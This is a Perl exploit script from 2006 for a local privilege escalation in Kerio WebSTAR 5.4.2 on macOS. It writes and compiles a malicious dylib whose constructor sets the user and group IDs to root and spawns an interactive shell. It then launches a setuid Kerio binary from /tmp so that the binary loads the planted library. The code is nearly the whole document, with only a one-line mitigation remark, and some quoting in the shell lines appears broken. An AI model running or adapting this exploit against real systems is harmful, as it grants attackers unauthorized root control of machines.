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kerio_WebSTAR_pwn.pl.txt

Posted on 16 November 2006

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries

foreach $key (keys %ENV) {

delete $ENV{$key};

}

$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin - WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin - WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";

unless (($target) = @ARGV) {

print "

Usage: $0 <target> 

Targets:

";

foreach $key (sort(keys %tgts)) {
($a,$b) = split(/:/,$tgts{"$key"});
print "	$key . $a
";
}

print "
";
exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/:/,$tgts{"$target"});
print "*** Target: $a, Binary: $b
";

open(KP,">/tmp/kerio_pwn.c");
printf KP "extern char * argv; __attribute__((constructor)) static void kerio_pwned()
";
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system("/bin/sh -i"); exit(0); }
";

system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c -current_version 5.0.1 -compatibility_version 5.0.1 -install_name libucache.5.dylib -arch ppc");

system("cd /tmp; "$b"");

 

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